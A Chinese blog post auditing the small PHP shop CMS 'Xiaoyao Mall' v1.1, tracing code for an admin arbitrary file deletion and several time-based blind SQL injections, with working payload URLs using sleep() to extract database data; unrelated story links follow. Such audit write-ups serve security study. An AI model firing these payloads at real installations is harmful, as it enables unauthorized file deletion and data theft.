逍遥商城系统审计

起因

最近一直在学习代码审计,本人php代码功底相对较弱,所以先从简单的审计入手,在cnvd上看到这套cms,三处注入,一处任意文件删除,小众cms,个人开发,就当练手。

环境

php 5.6.40
mysql 5.7.26
IDE PHPSTROM + Xdebug
pythonmysql监控

大致分析

目录结构:
v1.1full
├── admin ---后台管理目录
├── api.php ---api入口文件
├── attachment ---图片等文件存放目录
├── cache ---缓存文件目录
├── common.php
├── config.php ---配置文件
├── data ---备份文件等目录
├── hook ---hook文件
├── httpd.ini
├── index.php ---主页入口
├── install ---安装文件
├── module --主页模块文件
├── public --公共资源
├── template ---前端文件
├── user.php --user模块入口
mvc模式,多入口,每个大模块分一个入口。
url模式:url模式:?mod(模块名)=xx&act(方法名)=xx&id(参数)=/或者:index.php/模块名/方法名/参数
缓存类:将文件序列化存与对应的缓存类中,index模块初始化时,直接调用,缓存类直接返回反序列化后的对象。

1.后台任意文件删除。

admin/module/db.php:85

php:
    case 'del':
        //pe_error('演示站未开启删除权限');
        pe_token_match();
        pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");
        pe_success('删除完成!');
    break;
    //####################// 数据备份恢复 //####################//
    default:
        $backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");
        rsort($backup_list);
        $seo = pe_seo($menutitle='数据备份', '', '', 'admin');
        include(pe_tpl('db_list.html','admin'));
    break;

pe_dirdel函数为文件删除函数。
public/function/global.func.php:294

function pe_dirdel($dir_path)
{
    if (is_file($dir_path)) {
        unlink($dir_path);
    }
    else {
        $dir_arr = glob(trim($dir_path).'/*');
        if (is_array($dir_arr)) {
            foreach ($dir_arr as $k => $v) {
                pe_dirdel($v, $type);
            }   
        }
        @rmdir($dir_path);
    }
}

{pe['path_root']},这里是获取当前cms安装的物理路径,然后将其与data/dbbackup/_G_dbname进行拼接,即可得到删除文件路径,然后带入到pe_dirdel函数中,而这个函数并没有做其他判断,只判断是不是一个文件,并且我们可以看到并没有对$_G_dbname进行处理,那么我们只要知道这个参数从哪传来的就行了,如果可控的话,就能达到任意文件删除的目的。
在common.php:60

if (get_magic_quotes_gpc()) {
    !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
    !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
    !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
    !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

先通过magic_quotes_gpc函数进行用户传入数据进行处理,将 ' " 等加转译符号,然后在将get传来的参数加上_g的开头,post则加上_p,那么思路很清晰了,只要我们get方式传入一个名为dbname的变量即可,其值就是我们想删除文件的地址。pe_token在后台页面查看源代码即可得到。
payload:

host/admin/webadmin.php?mod=db&act=del&dbname=删除文件地址&token=a1d6a63a9cd67d43a0b445af107eea65
image.png

后台盲注(product.php:78)

直接看代码吧

    case 'state':
        pe_token_match();
        $product_id = is_array($_p_product_id) ? $_p_product_id : $_g_id;
        if ($db->pe_update('product', array('product_id'=>$product_id), array('product_state'=>$_g_state))) {
            pe_success("操作成功!");
        }
        else {
            pe_error("操作失败...");
        }

这段代码是用改变商品状态的act=state,先判断token,然后得到product_id,由上面可以知道该id可以从post传入也可以从get传入,然后就直接丢到pe_update,跟进pe_update
到public/class/db.class.php:226

public function pe_update($table, $where, $set)
    {
        //处理设置语句
        $sqlset = $this->_doset($set);
        //处理条件语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");   
    }

进入_doset方法,处理public/class/db.class.php:285

protected function _doset($set)
    {
        //仅针对insert插入多条数据
        if (is_array($set) && count($set, 1) > count($set)) {           
            foreach ($set as $set_one) {
                $key_arr = $val_arr = array();
                foreach ($set_one as $k => $v) {
                    $key_arr[] = str_ireplace('`', '', $k);
                    $val_arr[] = "'{$v}'";
                }
                $val_str[] = "(" . implode($val_arr, ', ') . ")";
            }
            $key_str = "(" . implode($key_arr, ', ') . ")";
            $sqlset = "{$key_str}  values ".implode($val_str, ', ');
        }
        elseif (is_array($set) && count($set, 1) == count($set)) {  
            foreach ($set as $k => $v) {
                $k = str_ireplace('`', '', $k);
                $set_arr[] = "`{$k}` = '{$v}'";
            }
            $sqlset = 'set '.implode($set_arr, ' , ');
        }
        else {
            $sqlset = "set {$set}";
        }
        return $sqlset;
    }

可以看到,这里并没有对数据进行处理,只是用str_ireplace函数将'`'替换为空,并没有对单引号等进行处理,然后就进行了拼接,返回了sql语句,很明显的注入,但是这里并没有将sql语句错误爆出来,所以只能通过页面返回信息进行注入,且product_id与product_state均可进行注入。
payload:

product_id处:
product_id%5B%5D=8')and if((ASCII(mid(user(),0,1)=114)),sleep(5),1)#('
product_state处:
/admin/webadmin.php?mod=product&act=state&state=2'%20and%20if((ASCII(mid(user(),0,1)=114)),sleep(5),1)%23('&token=a1d6a63a9cd67d43a0b445af107eea65
image.png

这个模块下还有好几个方法都可以注入,不再一一累赘。

article.php(delet,updata注入)

由于他们都调用了同一个sql操作类库,造成注入的原因大致一样,直接将闭合单引号即可进行注入,不再解释过多,贴张图吧。


image.png

后续

其实还有很多处注入,就不一一写出来了,都是由于对用户传入参数过滤不当造成的,暂时只审计到了后台的注入,明天在看看能不能找前台注入或者getshell的条件吧。
文笔轻浮,如有不对,请大佬们斧正。
晚安😴。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,752评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,100评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,244评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,099评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,210评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,307评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,346评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,133评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,546评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,849评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,019评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,702评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,331评论 3 319
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,030评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,260评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,871评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,898评论 2 351